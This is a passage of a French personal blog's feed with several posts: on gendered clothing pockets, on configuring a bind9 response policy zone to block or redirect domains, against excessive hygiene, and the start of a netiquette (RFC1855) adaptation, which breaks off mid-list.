&lt;p&gt;&lt;em&gt;Cet arcle fait suite à la lecture de &lt;a href="https://grep.be/blog//en/retorts/Codes_of_Conduct/"&gt;cet article sur grep.be&lt;/a&gt;. Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://incredi.deviantart.com/art/Out-of-nowhere-100232854"&gt;incredi&lt;/a&gt;. Je préfèrerais vivre dans un monde où ces règles ne seraient pas utiles.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Je fais — sans vergogne — des accords de proximité. Et c&amp;rsquo;est bien.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;J&amp;rsquo;appartiens au « groupe fort ». En ce sens, je ne suis (quasi) jamais soumis à une quelconque discrimination. C&amp;rsquo;est comme ça… mais je donne quand même mon avis :-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>J'ai vérifié les poches pour homme et femmes de 6 magasins et on se fait arnaquer (Marie Kirschen)</title><link href="http://blog.namok.be/2017-03-08-les-poches-homme-et-femmes-de-6-magasins.html" rel="alternate"/><published>2017-03-08T00:00:00+01:00</published><updated>2017-03-08T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-03-08:/2017-03-08-les-poches-homme-et-femmes-de-6-magasins.html</id><summary type="html">J'ai vérifié les poches pour homme et femmes de 6 magasins et on se fait arnaquer (Marie Kirschen)</summary><content type="html">&lt;p&gt;&lt;img alt="sunshine_is_my_pocket_by_atpase.jpg" src="/images/sunshine_is_my_pocket_by_atpase.jpg" title="sunshine_is_my_pocket_by_atpase.jpg, mar. 2017"&gt;&lt;/p&gt;
&lt;p&gt;Ce 8 mars — comme chaque année — est une journée internationale commémorant les luttes des femmes. &lt;a href="http://www.kozlika.org/kozeries/post/2017/03/01/8-mars-la-parole-aux-femmes"&gt;Kozlika propose sur son blog différentes initiatives pour laisser la parole aux femmes en ce jour&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Je relaie un article de &lt;a href="https://www.buzzfeed.com/mariekirschen?language=fr"&gt;&lt;strong&gt;Marie Kirschen&lt;/strong&gt;&lt;/a&gt; parlant de la petitesses des poches des jeans. Je n&amp;rsquo;en donne ici qu&amp;rsquo;un extrait — pour éviter le &lt;em&gt;duplicate content&lt;/em&gt; — et vous invite à le lire dans son entièreté chez &lt;a href="https://www.buzzfeed.com/mariekirschen/jai-verifie-les-poches-pour-hommes-et-femmes-de-6-magasins-e?utm_term=.dk0Vl3noJ#.ex5QxXzoY"&gt;buzzfeed&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;J’ai vérifié les poches pour hommes et femmes de 6 magasins et on se fait arnaquer&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Elles sont vraiment, VRAIMENT plus petites que celles des hommes — quand elles existent! Et c’est bien dommage.&lt;/p&gt;
&lt;p&gt;J’aime les poches. Vraiment. Elles sont super pratiques et permettent de ne pas avoir à se trimballer un sac et de garder les mains libres.&lt;/p&gt;
&lt;p&gt;Le hic, c’est que les poches des vêtements pour femmes qu’on trouve en magasins sont souvent très (trop) petites.&lt;/p&gt;
&lt;p&gt;Ce n’est pas un problème pour toutes les femmes qui aiment avoir un sac à main, mais perso je trouve que ça prend de la place et ça fait mal à l’épaule, qu’on est moins libre de ses mouvements.&lt;/p&gt;
&lt;p&gt;Or les poches de nos vêtements sont souvent tellement petites qu’elles en deviennent inutilisables: le portable ne rentre qu’à moitié et risque de tomber. Pareil pour la carte de transport, un portefeuille, des clés… Ça m’énerve et j’aimerais bien avoir de vraies poches vraiment pratiques. Et, &lt;a href="https://www.youtube.com/watch?v=EI4Smu76RtI"&gt;visiblement, je ne suis pas&lt;/a&gt; &lt;a href="https://www.youtube.com/watch?v=EI4Smu76RtI"&gt;la seule&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Récemment, au cours d’une discussion avec des collègues, j’ai évoqué le problème et certains des hommes étaient un peu étonnés. Les poches des femmes étaient-elles vraiment si petites?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Marie Kirschen est donc allée — à grands coups de photos — vérifier la taille des poches dans 6 magasins de Paris.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Alors, comment expliquer cette GROSSE arnaque ? Comme les vendeurs et vendeuses n’en savaient pas plus que moi, je me suis tournée vers des spécialistes. Tout d’abord Nathalie Ruelle, professeure à l’Institut français de la mode. Contrairement à moi, elle n’est pas vraiment agacée par ces différences genrées. Au contraire. Pour elle, tout cela s’explique par le fait que les hommes et les femmes ont des usages différents des habits et que, selon elle, les femmes « ne veulent pas déformer la silhouettes de leurs vêtements ».&lt;/p&gt;
&lt;p&gt;&lt;em&gt;«Les femmes se débrouillent sans poche avec les sacs à mains, aussi parce qu’elles ont plus de choses à transporter que les hommes: du rouge à lèvre, du parfum, de la poudre…»&lt;/em&gt;, avance-t-elle.&lt;/p&gt;
&lt;p&gt;Elle évoque aussi la question de la posture: « Par rapport aux codes de tenue, normalement on ne met pas ses mains dans ses poches et ça vaut encore plus pour les femmes ». Mais il y a des femmes qui se moquent bien de ces questions de « code de tenue ». Et qui n’ont pas toute une trousse de maquillage à transporter sur elle. Je lui demande pourquoi les fabricants ne font pas, tout simplement, des grandes poches, que chacune pourrait décider d’utiliser ou non. Elle estime que ça ne sert à rien: « ça coûterait plus cher » pour un usage qui, selon elle, « n’existe pas ».&lt;/p&gt;
&lt;p&gt;Pourtant, il n’en a pas toujours été ainsi. Pour aller plus loin, je me lance dans une petite recherche internet sur l’histoire des vêtements. Et je trouve qu’autrefois… tout le monde avait le même type de poches. Il s’agissait de grandes poches amovibles, que l’on portait au-dessus des habits. La distinction a commencé à se faire à la fin du XVIIe: elles ont commencé à être cousues directement dans les vêtements des hommes. Mais pas pour les femmes. Derrière cela, on trouve une raison sexiste: les poches étaient « implicitement comparées à des vagins exhibés à l’extérieur, et des outils d’émancipation qu’il faut mater », explique Slate.&lt;/p&gt;
&lt;p&gt;Je décide alors de contacter Christine Bard, parce qu’elle a travaillé sur l’histoire genrée des habits dans ses ouvrages Une histoire politique du pantalon et Ce que soulève la jupe. Identités, transgressions, résistances. L’historienne de l’université d’Angers insiste sur le fait que la petite poche « crée la contrainte du sac » et fait donc vendre. « Au fond, elle assure des revenus énormes à la maroquinerie ! » observe-t-elle.&lt;/p&gt;
&lt;p&gt;Surtout, elle me confirme qu’on trouve bien du sexisme derrière cette histoire de poches — aussi futile puisse-t-elle paraître.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;« Sans poche ou avec une trop petite poche, le vêtement n’est pas pratique et c’est le but visé. Le vêtement féminin est avant tout parure, et il répond moins bien aux deux autres fonctions du vêtement: la pudeur et la protection. Les hommes se sont octroyés les vêtements les plus pratiques. La vulnérabilité, la gêne, l’embarras, la limitation de la mobilité sont entretenus par la codification genrée du vêtement, depuis des siècles. »&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Elle conclut: « Les petites poches sont une des traces contemporaines de cette culture de la domination masculine. »&lt;/p&gt;
&lt;p&gt;En conclusion: à bas le patriarcat et donnez-nous l’option de poches dignes de ce nom!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez DeviantArt par &lt;a href="http://atpase.deviantart.com/art/Sunshine-is-my-pocket-160473351"&gt;atpase&lt;/a&gt;. Une fleur au bout du fusil ou simplement dans la poche.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Mise en place d'un DNS menteur</title><link href="http://blog.namok.be/2017-03-05-mise-en-place-dns-menteur.html" rel="alternate"/><published>2017-03-05T00:00:00+01:00</published><updated>2017-03-05T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-03-05:/2017-03-05-mise-en-place-dns-menteur.html</id><summary type="html">Mise en place d'un DNS menteur</summary><content type="html">&lt;p&gt;&lt;img alt="your_dad_is_a_liar_by_stringchange-d5dc20p.jpg" src="/images/your_dad_is_a_liar_by_stringchange-d5dc20p.jpg" title="your_dad_is_a_liar_by_stringchange-d5dc20p.jpg, mar. 2017"&gt;&lt;/p&gt;
&lt;p&gt;Comme je le disais dans un précédent billet non technique, &lt;a href="2016-10-18-quand-ton-serveur-dns-te-bloque-ou-te-ment.html"&gt;un serveur DNS peut te mentir ou te bloquer&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Normalement si un nom de domaine existe — par exemple &lt;em&gt;facebook.com&lt;/em&gt; — un serveur DNS donne l&amp;rsquo;adresse IP correspondant au nom — pour &lt;em&gt;facebook.com&lt;/em&gt;, c&amp;rsquo;est 179.60.195.36 (ces jours-ci). Cette résolution permet, par exemple — et c&amp;rsquo;est le cas le plus courant — d&amp;rsquo;accéder à la page web correspondante. Dans le cas de &lt;em&gt;facebook&lt;/em&gt;, cela permettra à l&amp;rsquo;utilisateur de cliquer sur un &lt;em&gt;pouce bleu&lt;/em&gt; !&lt;/p&gt;
&lt;p&gt;Si ton DNS te bloque, tu croiras que le site n&amp;rsquo;existe pas. C&amp;rsquo;est de la censure. Si ton DNS te ment, tu seras dirigé vers une autre page. Cela permet de faire du &lt;em&gt;phishing&lt;/em&gt; par exemple.&lt;/p&gt;
&lt;p&gt;Bloquer, mentir, mettre en place de la censure est finalement très simple.&lt;/p&gt;
&lt;p&gt;En supposant que &lt;em&gt;bind&lt;/em&gt; soit installé — d&amp;rsquo;un grand coup de &lt;code&gt;apt install bind9&lt;/code&gt; — il suffit de mettre en place &lt;strong&gt;RPZ&lt;/strong&gt; &lt;em&gt;Response Policy Zone&lt;/em&gt;. &lt;a href="http://www.bortzmeyer.org/rpz-faire-mentir-resolveur-dns.html"&gt;Bortzmeyer&lt;/a&gt; et Paul Vixie [&lt;a href="https://www.dns-oarc.net/files/workshop-201103/rpz2.pdf"&gt;pdf&lt;/a&gt;] expliquent le principe qui est décrit dans la &lt;a href="http://www.bind9.net/arm910.pdf"&gt;documentation de bind9&lt;/a&gt; §6.2.16.20 p98-.&lt;/p&gt;
&lt;p&gt;Pour indiquer à bind que l&amp;rsquo;on veut utiliser la RPZ (&lt;em&gt;response policy zone&lt;/em&gt;) il faut l&amp;rsquo;ajouter dans les options;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;response-policy { zone &amp;quot;liar.local&amp;quot;;};
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cette zone peut être une zone définie ailleurs et contenant une liste de sites à bloquer ou bien je peux la définir moi-même…&lt;/p&gt;
&lt;p&gt;Ajouter:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;zone &amp;quot;liar.local&amp;quot; {
    type master;
    file &amp;quot;/etc/bind/db.local.liar.local&amp;quot;;
    allow-query {none;};
};
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ajouter le fichier de zone.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pour qu&amp;rsquo;un nom soit renseigné comme inexistant (&lt;em&gt;undefined&lt;/em&gt;), &lt;code&gt;&amp;lt;name&amp;gt; CNAME .&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;pour qu&amp;rsquo;un nom soit renseigné comme vide (&lt;em&gt;empty set of resources&lt;/em&gt;), &lt;code&gt;&amp;lt;name&amp;gt; CNAME *.&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;pour remplacer l&amp;rsquo;IP, &lt;code&gt;&amp;lt;name&amp;gt; A &amp;lt;IP&amp;gt;&lt;/code&gt; (ou &lt;code&gt;AAAAA&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;dans l&amp;rsquo;exemple suivant&lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$TTL 1h  
@    SOA eve.liar.local. root.localhost. (  
    2017030302  
    2h 30m 30d 1h  
)  
    NS eve.liar.local.   

eve A   127.0.0.1  

facebook.be CNAME .  
facebook.fr A 127.0.0.1  
facebook.it CNAME   eve.liar.local.  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;En images et en utilisant &lt;em&gt;dig&lt;/em&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;facebook.be&lt;/em&gt; ne répondra pas. Le nom est indéfini;&lt;/p&gt;
&lt;p&gt;&lt;img alt="facebook.be est indéfini" src="/images//screenshot-dns-2.jpg" title="screenshot-dns-2.jpg, mar. 2017"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;facebook.fr&lt;/em&gt; répondra avec l&amp;rsquo;IP de la boucle locale;&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-dns-3.jpg" src="https://blog.namok.be/public/images/divers/2017/screenshot-dns-3.jpg" title="facebook.fr a pour adresse IP 127.0.0.1"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;facebook.it&lt;/em&gt; sera redirigé vers &lt;em&gt;eve.liar.local&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-dns-4.jpg" src="https://blog.namok.be/public/images/divers/2017/screenshot-dns-4.jpg" title="facebook.it est un alias"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je &lt;a href="2016-10-18-quand-ton-serveur-dns-te-bloque-ou-te-ment.html"&gt;reconseille donc d&amp;rsquo;installer et d&amp;rsquo;utiliser son propre serveur DNS&lt;/a&gt; ou d&amp;rsquo;utiliser un relais de confiance dès que l&amp;rsquo;on peut…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt; &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://stringchange.deviantart.com/art/Your-Dad-is-a-Liar-324728377"&gt;StringChange&lt;/a&gt;. Menteur, vous avez dit menteur.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Le &lt;code&gt;IN&lt;/code&gt; devant un enregistrement n&amp;rsquo;est plus obligatoire.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Sur les &lt;em&gt;screenshots&lt;/em&gt;, c&amp;rsquo;est « en français » et ça parle donc de &lt;em&gt;menteur&lt;/em&gt; plutôt que de &lt;em&gt;liar&lt;/em&gt; ^^&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>La dictature de l'hygiène</title><link href="http://blog.namok.be/2017-01-18-la-dictature-de-l-hygiene.html" rel="alternate"/><published>2017-01-18T00:00:00+01:00</published><updated>2017-01-18T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-01-18:/2017-01-18-la-dictature-de-l-hygiene.html</id><summary type="html">Réflexion sur l'importance de l'exposition aux microbes pour renforcer le système immunitaire et rejeter l'excès d'hygiène ; l'hygiénisme.</summary><content type="html">&lt;p&gt;&lt;img alt="3D medical background with virus cell" src="/images/virus-cells-1200x.jpg" title="3D medical background with virus cell, janv. 2017"&gt;&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est l&amp;rsquo;heure de la campagne de prévention contre la grippe. Attention, la grippe &lt;strong&gt;tue&lt;/strong&gt;. X pourcents des citoyens minimisent les &lt;strong&gt;dangers&lt;/strong&gt; de la grippe. Elle &lt;strong&gt;tue&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Oui, des gens meurent à cause de la grippe.&lt;/p&gt;
&lt;p&gt;Oui, c&amp;rsquo;est important de prendre quelques précautions pour ne pas être malade. Lorsque les virus courent, je me lave plus souvent les mains et — évidemment — lorsque j&amp;rsquo;éternue, je mets la main devant la bouche… main que j&amp;rsquo;irai laver… plus tard.&lt;/p&gt;
&lt;p&gt;La campagne nous conseille d&amp;rsquo;utiliser des mouchoirs en papier. D&amp;rsquo;accord. Mouche toi dans ce que tu veux mais ce n&amp;rsquo;est pas toujours utile d&amp;rsquo;utiliser un mouchoir juste pour tousser ou éternuer. Ce n&amp;rsquo;est pas non plus utile d&amp;rsquo;utiliser un mouchoir pour toucher le robinet ou la poignée de porte.&lt;/p&gt;
&lt;p&gt;— Mais c&amp;rsquo;est dégueulasse ! Des gens l&amp;rsquo;ont touché avec leur main pleine de microbes. Aaaarrrrgh, je meurs !&lt;/p&gt;
&lt;p&gt;Oui, la vie est dégueulasse. Elle doit l&amp;rsquo;être.&lt;/p&gt;
&lt;p&gt;Il faut laisser jouer ses enfants avec des trucs dégueulasses. Il faut qu&amp;rsquo;ils puissent ramasser des choses par terre, qu&amp;rsquo;ils jouent dans la boue, glissent sur des toboggans sales, tombent dans une bouse de vache. On pourrait même imaginer — soyons complètement fous — qu&amp;rsquo;ils jouent dans des plaines de jeu non complètement sécurisée, des plaines de jeu où parfois, on tombe. Des jeux qui tournent vite et étourdissent, des balançoires qui vont vite et, parfois, on tombe, des toboggans à l&amp;rsquo;atterrissage… heu moyen et on s&amp;rsquo;écorche. Il va vite celui là.&lt;/p&gt;
&lt;p&gt;— Il va vite hein ! Il fait peur.&lt;br&gt;
— Tu veux y retourner ? T&amp;rsquo;es sûr ?&lt;br&gt;
— OOUUUIII !&lt;/p&gt;
&lt;p&gt;Nous devons être en contact avec les bactéries et les microbes pour construire — et maintenir — notre système immunitaire. Nous sommes, pour la majeure partie, capable de résister aux rhumes et aux grippes si nous avons un bon système immunitaire. Nous avons la capacité de nous réparer. Guérir.&lt;/p&gt;
&lt;p&gt;Pour l&amp;rsquo;entretenir il faut rester jeune. Perdu ! Je n&amp;rsquo;ai pas d&amp;rsquo;emprise sur les années et un jour je mourrai. On me l&amp;rsquo;a déjà dit. Ce sera peut-être d&amp;rsquo;une grippe. Et ce n&amp;rsquo;est pas grave.&lt;/p&gt;
&lt;p&gt;Pour entretenir mon système immunitaire, disais-je, je l&amp;rsquo;entraine et j&amp;rsquo;essaie d&amp;rsquo;avoir un environnement sain.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;J&amp;rsquo;aère&lt;/strong&gt;.&lt;br&gt;
Je m&amp;rsquo;aère.&lt;/p&gt;
&lt;p&gt;Il y a moins de microbes, de bactéries et de virus si je promène dehors, si mon enfant joue dehors que si je me confine à l&amp;rsquo;intérieur sans ouvrir dans des locaux (sur)chauffés.&lt;/p&gt;
&lt;p&gt;Aérons nous, laissons nos enfants jouer dehors, prendre des risques (mesurés), se salir et disons non à la dictature de l&amp;rsquo;hygiène !&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://www.freepik.com/free-photo/medical-background-with-virus-cells_955175.htm"&gt;Freepik&lt;/a&gt;. Ce billet m&amp;rsquo;est inspiré de la campagne de prévention contre la grippe et d&amp;rsquo;un mail racontant la campagne de pub de Skip &lt;strong&gt;Dirt is good&lt;/strong&gt;.J&amp;rsquo;aime aussi beaucoup ces deux parodies, &lt;a href="https://edukactus.wordpress.com/2017/01/14/conseils-sante-des-gestes-simples-pour-ne-pas-attraper-a-la-grippe-a-lecole/"&gt;l&amp;rsquo;affiche&lt;/a&gt; et la &lt;a href="http://www.dailymotion.com/video/xax200_parodie-pub-grippe-a-inpes-preventi_news"&gt;video&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Bon anniversaire netiquette ou RFC1855 ou encore Netiquette 2.0</title><link href="http://blog.namok.be/2016-12-19-bon-anniversaire-netiquette.html" rel="alternate"/><published>2016-12-19T00:00:00+01:00</published><updated>2016-12-19T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-12-19:/2016-12-19-bon-anniversaire-netiquette.html</id><summary type="html">Bon anniversaire netiquette ou RFC1855 ou encore Netiquette 2.0</summary><content type="html">&lt;p&gt;&lt;img alt="the_bubble_blower_by_tom_mosack-1400x.jpg" src="images/the_bubble_blower_by_tom_mosack-1400x.jpg" title="the_bubble_blower_by_tom_mosack-1400x.jpg, déc. 2016" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;La &lt;em&gt;netiquette&lt;/em&gt; &amp;mdash; dont le petit nom technique est &lt;a href="http://www.faqs.org/rfcs/rfc1855.html"&gt;RFC1855&lt;/a&gt; &amp;mdash; fêtait ses 21 ans le mois dernier. Elle est majeure et vaccinée depuis octobre 2016 date à laquelle S.Hambridge l&amp;rsquo;a proposée à la communauté Internet. On peut donc lui souhaiter &amp;mdash; à la note, pas à son auteur &amp;mdash; un bon anniversaire.&lt;/p&gt;
&lt;p&gt;— Bon anniversaire !&lt;br&gt;
— Heu. C&amp;rsquo;est qui ? &lt;/p&gt;
&lt;p&gt;La RFC1855 est un mémo à destination de la communauté internet. Elle propose des lignes de conduite pour tous, pour un usage responsable d&amp;rsquo;Internet. Cette note n&amp;rsquo;est pas du tout un standard que tout le monde devrait respecter, ce sont des règles de bonnes pratiques conseillées à tous les individus qu&amp;rsquo;ils soient utilisateurs ou administrateurs d&amp;rsquo;Internet.&lt;/p&gt;
&lt;p&gt;Vingt-et-un an pour une recommandation internet, c&amp;rsquo;est dire si la vielle dame est âgée. Elle mérite que l&amp;rsquo;on dépoussière un peu le texte même s&amp;rsquo;il garde tout son sens.&lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;époque déjà une distinction était faite entre &lt;em&gt;ceux qui ont grandi avec Internet&lt;/em&gt; &amp;mdash; ceux qui savent &amp;mdash; et les &lt;em&gt;newbies&lt;/em&gt;. Entendez ceux qui ne comprennent pas &amp;mdash; et, entendons nous bien, ils n&amp;rsquo;ont généralement pas besoin de comprendre &amp;mdash; les protocoles et le transport de l&amp;rsquo;information.&lt;/p&gt;
&lt;p&gt;Je traduis &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;3&lt;/a&gt;&lt;/sup&gt;, je reformule, je supprime, j&amp;rsquo;ajoute et j&amp;rsquo;essaie de garder l&amp;rsquo;esprit de la note.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Note à destination des utilisateurs d&amp;rsquo;Internet.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cette note est un ensemble de règles de bonnes pratiques que chacun peut adapter et enrichir à sa situation. Ce n&amp;rsquo;est pas un standard Internet.&lt;/p&gt;
&lt;p&gt;Cette note est une reformulation vingt ans plus tard et une adaptation personnelle de la note de S.Hambridge et de &lt;em&gt;Responsible Use of the Network (RUN) Working Group of the IETF.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Dans les années nonante, Internet était plutôt réservé aux informaticiens et peu fréquenté par le grand public. Aujourd&amp;rsquo;hui, la communauté Internet, c&amp;rsquo;est tout le monde. Ce sont des gens qui ne sont pas spécialement familier avec la culture d&amp;rsquo;Internet ni avec ses protocoles et la manière dont transite l&amp;rsquo;information. Ce guide permet aux &lt;em&gt;nouveaux&lt;/em&gt; de comprendre la culture et d&amp;rsquo;adopter des comportements qui sont qualifiés être une bonne pratique par la plupart.&lt;/p&gt;
&lt;p&gt;Chacun devrait également être conscient qu&amp;rsquo;il existe sans doute des règles spécifiques au fournisseur d&amp;rsquo;accès à Internet (FAI) auquel on souscrit… que ce compte soit un compte privé ou un compte fourni par l&amp;rsquo;établissement qui nous emploie, un ami ou encore l&amp;rsquo;école dans laquelle on est inscrit. C&amp;rsquo;est mieux de se renseigner sur l&amp;rsquo;usage que l&amp;rsquo;on peut faire du réseau en fonction de l&amp;rsquo;endroit où l&amp;rsquo;on se trouve.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;La communication un-à-un&lt;br&gt;
La communication un-à-plusieurs&lt;br&gt;
La communication publique ou &lt;em&gt;un-à-tous&lt;/em&gt;&lt;br&gt;
Les services internet  &lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;La communication un-à-un&lt;/h2&gt;
&lt;p&gt;Les principaux supports à ce premier type de communication sont; le mail, la messagerie instantanée et les messages privés.&lt;/p&gt;
&lt;p&gt;La communication un-à-un est la forme de communication pour laquelle une personne communique avec une autre comme si elles étaient face à face; un dialogue.&lt;/p&gt;
&lt;p&gt;Évidemment les règles de courtoisie habituelles sont de vigueur et, plus encore devraient être renforcées car la communication corporelle et l&amp;rsquo;intonation de voix sont absentes de ce média &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h3&gt;Lignes de conduite pour le mail&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;À moins d&amp;rsquo;utiliser le chiffrage des mails, la confidentialité des
    mails n&amp;rsquo;est pas assurée. N&amp;rsquo;écrivez pas dans un mail ce que vous
    n&amp;rsquo;écririez pas sur une carte postale. Pour avoir l&amp;rsquo;enveloppe, il
    faut le chiffrement.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Respectez la propriété intellectuelle.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lorsque vous transférez ou repostez un message reçu, ne le modifiez
    pas. Si vous envoyez le message à quelqu&amp;rsquo;un d&amp;rsquo;autre ou à un
    groupe, assurez vous d&amp;rsquo;avoir l&amp;rsquo;autorisation de l&amp;rsquo;auteur. Vous
    pouvez couper le message et ne donner que des extraits mais
    attribuez les parties du message à son auteur.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Un truc à retenir : &lt;strong&gt;soyez conservateur dans ce que vous écrivez et     libéral dans ce que vous recevez&lt;/strong&gt;. Ne répondez pas à chaud ou sous le coup de l&amp;rsquo;énervement à un mail. Ça s&amp;rsquo;appelle un &lt;em&gt;flame&lt;/em&gt; (une flambée). Par contre, ne vous étonnez pas de recevoir un &lt;em&gt;flame&lt;/em&gt;. Dans ce cas, mieux vaut ne pas y répondre.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;C&amp;rsquo;est en général une bonne idée de regarder la liste des sujets de
    ses mails avant de commencer à répondre. Il n&amp;rsquo;est pas rare qu&amp;rsquo;une
    personne envoie un mail demandant de l&amp;rsquo;aide… suivi d&amp;rsquo;un autre
    précisant qu&amp;rsquo;elle a trouvé la solution.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lorsque vous envoyez un mail choisissez soigneusement l&amp;rsquo;objet du
    mail. C&amp;rsquo;est ce que le destinataire verra en premier à la réception
    du mail et lorsqu&amp;rsquo;il consulte ses archives ou fait des recherches
    dans ses mails.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Avant de répondre vérifiez si vous êtes le destinataire (&lt;code&gt;À&lt;/code&gt;, &lt;code&gt;To&lt;/code&gt;)
    ou bien si vous êtes simplement en copie (&lt;code&gt;Cc&lt;/code&gt;) ou &amp;mdash; pire &amp;mdash; en
    copie cachée (&lt;code&gt;Cci&lt;/code&gt;, &lt;code&gt;Bcc&lt;/code&gt;) &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;2&lt;/a&gt;&lt;/sup&gt;.
    Dans ce cas l&amp;rsquo;émetteur du mail n&amp;rsquo;attend sans doute pas de réponse
    de votre part.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Facilitez la vie de vos correspondants en remplissant correctement
    le champ &lt;code&gt;From&lt;/code&gt; afin qu&amp;rsquo;il renseigne votre nom, et en ajoutant une
    signature à vos mails.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Regardez les champs &lt;code&gt;Cc&lt;/code&gt; et &lt;code&gt;Cci&lt;/code&gt; (&lt;code&gt;Bcc&lt;/code&gt;) lorsque vous répondez à un
    mail. Évitez les &lt;em&gt;reply all&lt;/em&gt; lorsque la conversation est devenue un
    simple dialogue.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Même si la plupart des utilisateurs peuvent lire leur mail partout
    et tout le temps, ils ont des activités et dorment &amp;mdash; parfois pas
    aux mêmes moments que vous. Laissez leurs le temps de prendre
    connaissance de votre mail avant de croire qu&amp;rsquo;il n&amp;rsquo;est pas arrivé
    ou qu&amp;rsquo;ils ne veulent pas répondre.&lt;/p&gt;
